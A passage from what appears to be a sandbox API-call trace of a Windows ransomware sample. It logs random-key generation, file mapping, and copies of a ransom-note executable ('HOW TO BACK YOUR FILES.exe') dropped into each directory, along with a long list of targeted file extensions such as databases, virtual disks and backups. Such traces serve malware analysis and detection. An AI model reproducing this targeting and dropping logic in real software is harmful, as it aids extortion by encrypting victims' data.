lpFileSize=0x241e418*=629664) returned 1 [0106.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0106.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0106.562] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0106.563] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.563] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.563] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x99ea0, lpName=0x0) returned 0x154 [0106.565] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x99ea0) returned 0x2d50000 [0106.595] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0106.596] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0106.596] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0106.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0106.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0106.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0106.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0106.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0106.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0106.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0106.597] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0106.602] CloseHandle (hObject=0x154) returned 1 [0106.602] CloseHandle (hObject=0x17c) returned 1 [0106.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0106.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0106.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0106.605] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfa99e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcdfa99e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0106.605] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0106.605] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfa99e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcdfa99e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0106.605] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0106.605] ReleaseMutex (hMutex=0xec) returned 1 [0106.605] CloseHandle (hObject=0xec) returned 1 [0106.605] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" [0106.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0106.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f688 | out: hHeap=0x4f0000) returned 1 [0106.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION") returned 55 [0106.605] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A6B446A25B9B5A71B1835411DE18BAC3") returned 0xec [0106.605] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0106.605] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" [0106.606] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0106.606] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\how to back your files.exe"), bFailIfExists=1) returned 0 [0106.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0106.606] GetLastError () returned 0x0 [0106.606] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0106.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0106.606] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0106.607] CloseHandle (hObject=0xf4) returned 1 [0106.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.607] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0106.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcdfa99e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfa99e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0106.607] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.608] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.608] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0106.608] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcdfa99e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfa99e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.608] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.608] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.608] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0106.608] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0106.608] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.608] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0106.608] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0106.608] lstrlenW (lpString="1033") returned 4 [0106.608] lstrcpyW (in: lpString1=0x241e8b8, lpString2="1033" | out: lpString1="1033") returned="1033" [0106.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f688 [0106.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x519dd8 [0106.608] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0106.608] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0106.608] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0106.655] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2=".") returned 1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="..") returned 1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="windows") returned -1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="bootmgr") returned 1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="temp") returned -1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="pagefile.sys") returned -1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="boot") returned 1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="ids.txt") returned -1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="ntuser.dat") returned -1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="perflogs") returned -1 [0106.655] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="MSBuild") returned -1 [0106.655] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0106.655] lstrcpyW (in: lpString1=0x241e8b8, lpString2="EQNEDT32.CNT" | out: lpString1="EQNEDT32.CNT") returned="EQNEDT32.CNT" [0106.655] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0106.655] lstrlenW (lpString="Athena865") returned 9 [0106.656] lstrcmpiW (lpString1="EDT32.CNT", lpString2="Athena865") returned 1 [0106.656] lstrlenW (lpString=".dll") returned 4 [0106.656] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2=".dll") returned 1 [0106.656] lstrlenW (lpString=".lnk") returned 4 [0106.656] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2=".lnk") returned 1 [0106.656] lstrlenW (lpString=".ini") returned 4 [0106.656] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2=".ini") returned 1 [0106.656] lstrlenW (lpString=".sys") returned 4 [0106.656] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2=".sys") returned 1 [0106.656] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0106.656] lstrlenW (lpString="bak") returned 3 [0106.656] lstrcmpiW (lpString1="CNT", lpString2="bak") returned 1 [0106.656] lstrlenW (lpString="ba_") returned 3 [0106.656] lstrcmpiW (lpString1="CNT", lpString2="ba_") returned 1 [0106.656] lstrlenW (lpString="dbb") returned 3 [0106.656] lstrcmpiW (lpString1="CNT", lpString2="dbb") returned -1 [0106.656] lstrlenW (lpString="vmdk") returned 4 [0106.656] lstrcmpiW (lpString1=".CNT", lpString2="vmdk") returned -1 [0106.656] lstrlenW (lpString="rar") returned 3 [0106.656] lstrcmpiW (lpString1="CNT", lpString2="rar") returned -1 [0106.656] lstrlenW (lpString="zip") returned 3 [0106.656] lstrcmpiW (lpString1="CNT", lpString2="zip") returned -1 [0106.656] lstrlenW (lpString="tgz") returned 3 [0106.656] lstrcmpiW (lpString1="CNT", lpString2="tgz") returned -1 [0106.656] lstrlenW (lpString="vbox") returned 4 [0106.656] lstrcmpiW (lpString1=".CNT", lpString2="vbox") returned -1 [0106.656] lstrlenW (lpString="vdi") returned 3 [0106.656] lstrcmpiW (lpString1="CNT", lpString2="vdi") returned -1 [0106.656] lstrlenW (lpString="vhd") returned 3 [0106.656] lstrcmpiW (lpString1="CNT", lpString2="vhd") returned -1 [0106.656] lstrlenW (lpString="vhdx") returned 4 [0106.656] lstrcmpiW (lpString1=".CNT", lpString2="vhdx") returned -1 [0106.657] lstrlenW (lpString="avhd") returned 4 [0106.657] lstrcmpiW (lpString1=".CNT", lpString2="avhd") returned -1 [0106.657] lstrlenW (lpString="db") returned 2 [0106.657] lstrcmpiW (lpString1="NT", lpString2="db") returned 1 [0106.657] lstrlenW (lpString="db2") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="db2") returned -1 [0106.657] lstrlenW (lpString="db3") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="db3") returned -1 [0106.657] lstrlenW (lpString="dbf") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="dbf") returned -1 [0106.657] lstrlenW (lpString="mdf") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="mdf") returned -1 [0106.657] lstrlenW (lpString="mdb") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="mdb") returned -1 [0106.657] lstrlenW (lpString="sql") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="sql") returned -1 [0106.657] lstrlenW (lpString="sqlite") returned 6 [0106.657] lstrcmpiW (lpString1="32.CNT", lpString2="sqlite") returned -1 [0106.657] lstrlenW (lpString="sqlite3") returned 7 [0106.657] lstrcmpiW (lpString1="T32.CNT", lpString2="sqlite3") returned 1 [0106.657] lstrlenW (lpString="sqlitedb") returned 8 [0106.657] lstrcmpiW (lpString1="DT32.CNT", lpString2="sqlitedb") returned -1 [0106.657] lstrlenW (lpString="xml") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="xml") returned -1 [0106.657] lstrlenW (lpString="$er") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="$er") returned 1 [0106.657] lstrlenW (lpString="4dd") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="4dd") returned 1 [0106.657] lstrlenW (lpString="4dl") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="4dl") returned 1 [0106.657] lstrlenW (lpString="^^^") returned 3 [0106.657] lstrcmpiW (lpString1="CNT", lpString2="^^^") returned 1 [0106.657] lstrlenW (lpString="abs") returned 3 [0106.658] lstrcmpiW (lpString1="CNT", lpString2="abs") returned 1 [0106.658] lstrlenW (lpString="abx") returned 3 [0106.658] lstrcmpiW (lpString1="CNT", lpString2="abx") returned 1 [0106.658] lstrlenW (lpString="accdb") returned 5 [0106.658] lstrcmpiW (lpString1="2.CNT", lpString2="accdb") returned -1 [0106.658] lstrlenW (lpString="accdc") returned 5 [0106.658] lstrcmpiW (lpString1="2.CNT", lpString2="accdc") returned -1 [0106.658] lstrlenW (lpString="accde") returned 5 [0106.658] lstrcmpiW (lpString1="2.CNT", lpString2="accde") returned -1 [0106.658] lstrlenW (lpString="accdr") returned 5 [0106.658] lstrcmpiW (lpString1="2.CNT", lpString2="accdr") returned -1 [0106.658] lstrlenW (lpString="accdt") returned 5 [0106.658] lstrcmpiW (lpString1="2.CNT", lpString2="accdt") returned -1 [0106.658] lstrlenW (lpString="accdw") returned 5 [0106.658] lstrcmpiW (lpString1="2.CNT", lpString2="accdw") returned -1 [0106.658] lstrlenW (lpString="accft") returned 5 [0106.658] lstrcmpiW (lpString1="2.CNT", lpString2="accft") returned -1 [0106.658] lstrlenW (lpString="adb") returned 3 [0106.658] lstrcmpiW (lpString1="CNT", lpString2="adb") returned 1 [0106.658] lstrlenW (lpString="adb") returned 3 [0106.658] lstrcmpiW (lpString1="CNT", lpString2="adb") returned 1 [0106.658] lstrlenW (lpString="ade") returned 3 [0106.658] lstrcmpiW (lpString1="CNT", lpString2="ade") returned 1 [0106.658] lstrlenW (lpString="adf") returned 3 [0106.658] lstrcmpiW (lpString1="CNT", lpString2="adf") returned 1 [0106.658] lstrlenW (lpString="adn") returned 3 [0106.658] lstrcmpiW (lpString1="CNT", lpString2="adn") returned 1 [0106.658] lstrlenW (lpString="adp") returned 3 [0106.658] lstrcmpiW (lpString1="CNT", lpString2="adp") returned 1 [0106.658] lstrlenW (lpString="alf") returned 3 [0106.658] lstrcmpiW (lpString1="CNT", lpString2="alf") returned 1 [0106.658] lstrlenW (lpString="ask") returned 3 [0106.658] lstrcmpiW (lpString1="CNT", lpString2="ask") returned 1 [0106.659] lstrlenW (lpString="btr") returned 3 [0106.659] lstrcmpiW (lpString1="CNT", lpString2="btr") returned 1 [0106.659] lstrlenW (lpString="cat") returned 3 [0106.659] lstrcmpiW (lpString1="CNT", lpString2="cat") returned 1 [0106.659] lstrlenW (lpString="cdb") returned 3 [0106.659] lstrcmpiW (lpString1="CNT", lpString2="cdb") returned 1 [0106.659] lstrlenW (lpString="ckp") returned 3 [0106.659] lstrcmpiW (lpString1="CNT", lpString2="ckp") returned 1 [0106.659] lstrlenW (lpString="cma") returned 3 [0106.659] lstrcmpiW (lpString1="CNT", lpString2="cma") returned 1 [0106.659] lstrlenW (lpString="cpd") returned 3 [0106.659] lstrcmpiW (lpString1="CNT", lpString2="cpd") returned -1 [0106.659] lstrlenW (lpString="dacpac") returned 6 [0106.659] lstrcmpiW (lpString1="32.CNT", lpString2="dacpac") returned -1 [0106.659] lstrlenW (lpString="dad") returned 3 [0106.659] lstrcmpiW (lpString1="CNT", lpString2="dad") returned -1 [0106.659] lstrlenW (lpString="dadiagrams") returned 10 [0106.659] lstrcmpiW (lpString1="NEDT32.CNT", lpString2="dadiagrams") returned 1 [0106.659] lstrlenW (lpString="daschema") returned 8 [0106.659] lstrcmpiW (lpString1="DT32.CNT", lpString2="daschema") returned 1 [0106.659] lstrlenW (lpString="db-journal") returned 10 [0106.659] lstrcmpiW (lpString1="NEDT32.CNT", lpString2="db-journal") returned 1 [0106.659] lstrlenW (lpString="db-shm") returned 6 [0106.659] lstrcmpiW (lpString1="32.CNT", lpString2="db-shm") returned -1 [0106.659] lstrlenW (lpString="db-wal") returned 6 [0106.659] lstrcmpiW (lpString1="32.CNT", lpString2="db-wal") returned -1 [0106.659] lstrlenW (lpString="dbc") returned 3 [0106.659] lstrcmpiW (lpString1="CNT", lpString2="dbc") returned -1 [0106.659] lstrlenW (lpString="dbs") returned 3 [0106.659] lstrcmpiW (lpString1="CNT", lpString2="dbs") returned -1 [0106.660] lstrlenW (lpString="dbt") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dbt") returned -1 [0106.660] lstrlenW (lpString="dbv") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dbv") returned -1 [0106.660] lstrlenW (lpString="dbx") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dbx") returned -1 [0106.660] lstrlenW (lpString="dcb") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dcb") returned -1 [0106.660] lstrlenW (lpString="dct") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dct") returned -1 [0106.660] lstrlenW (lpString="dcx") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dcx") returned -1 [0106.660] lstrlenW (lpString="ddl") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="ddl") returned -1 [0106.660] lstrlenW (lpString="dlis") returned 4 [0106.660] lstrcmpiW (lpString1=".CNT", lpString2="dlis") returned -1 [0106.660] lstrlenW (lpString="dp1") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dp1") returned -1 [0106.660] lstrlenW (lpString="dqy") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dqy") returned -1 [0106.660] lstrlenW (lpString="dsk") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dsk") returned -1 [0106.660] lstrlenW (lpString="dsn") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dsn") returned -1 [0106.660] lstrlenW (lpString="dtsx") returned 4 [0106.660] lstrcmpiW (lpString1=".CNT", lpString2="dtsx") returned -1 [0106.660] lstrlenW (lpString="dxl") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="dxl") returned -1 [0106.660] lstrlenW (lpString="eco") returned 3 [0106.660] lstrcmpiW (lpString1="CNT", lpString2="eco") returned -1 [0106.660] lstrlenW (lpString="ecx") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="ecx") returned -1 [0106.661] lstrlenW (lpString="edb") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="edb") returned -1 [0106.661] lstrlenW (lpString="epim") returned 4 [0106.661] lstrcmpiW (lpString1=".CNT", lpString2="epim") returned -1 [0106.661] lstrlenW (lpString="fcd") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fcd") returned -1 [0106.661] lstrlenW (lpString="fdb") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fdb") returned -1 [0106.661] lstrlenW (lpString="fic") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fic") returned -1 [0106.661] lstrlenW (lpString="flexolibrary") returned 12 [0106.661] lstrlenW (lpString="fm5") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fm5") returned -1 [0106.661] lstrlenW (lpString="fmp") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fmp") returned -1 [0106.661] lstrlenW (lpString="fmp12") returned 5 [0106.661] lstrcmpiW (lpString1="2.CNT", lpString2="fmp12") returned -1 [0106.661] lstrlenW (lpString="fmpsl") returned 5 [0106.661] lstrcmpiW (lpString1="2.CNT", lpString2="fmpsl") returned -1 [0106.661] lstrlenW (lpString="fol") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fol") returned -1 [0106.661] lstrlenW (lpString="fp3") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fp3") returned -1 [0106.661] lstrlenW (lpString="fp4") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fp4") returned -1 [0106.661] lstrlenW (lpString="fp5") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fp5") returned -1 [0106.661] lstrlenW (lpString="fp7") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fp7") returned -1 [0106.661] lstrlenW (lpString="fpt") returned 3 [0106.661] lstrcmpiW (lpString1="CNT", lpString2="fpt") returned -1 [0106.661] lstrlenW (lpString="frm") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="frm") returned -1 [0106.662] lstrlenW (lpString="gdb") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="gdb") returned -1 [0106.662] lstrlenW (lpString="gdb") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="gdb") returned -1 [0106.662] lstrlenW (lpString="grdb") returned 4 [0106.662] lstrcmpiW (lpString1=".CNT", lpString2="grdb") returned -1 [0106.662] lstrlenW (lpString="gwi") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="gwi") returned -1 [0106.662] lstrlenW (lpString="hdb") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="hdb") returned -1 [0106.662] lstrlenW (lpString="his") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="his") returned -1 [0106.662] lstrlenW (lpString="ib") returned 2 [0106.662] lstrcmpiW (lpString1="NT", lpString2="ib") returned 1 [0106.662] lstrlenW (lpString="idb") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="idb") returned -1 [0106.662] lstrlenW (lpString="ihx") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="ihx") returned -1 [0106.662] lstrlenW (lpString="itdb") returned 4 [0106.662] lstrcmpiW (lpString1=".CNT", lpString2="itdb") returned -1 [0106.662] lstrlenW (lpString="itw") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="itw") returned -1 [0106.662] lstrlenW (lpString="jet") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="jet") returned -1 [0106.662] lstrlenW (lpString="jtx") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="jtx") returned -1 [0106.662] lstrlenW (lpString="kdb") returned 3 [0106.662] lstrcmpiW (lpString1="CNT", lpString2="kdb") returned -1 [0106.662] lstrlenW (lpString="kexi") returned 4 [0106.662] lstrcmpiW (lpString1=".CNT", lpString2="kexi") returned -1 [0106.662] lstrlenW (lpString="kexic") returned 5 [0106.663] lstrcmpiW (lpString1="2.CNT", lpString2="kexic") returned -1 [0106.663] lstrlenW (lpString="kexis") returned 5 [0106.663] lstrcmpiW (lpString1="2.CNT", lpString2="kexis") returned -1 [0106.663] lstrlenW (lpString="lgc") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="lgc") returned -1 [0106.663] lstrlenW (lpString="lwx") returned 3 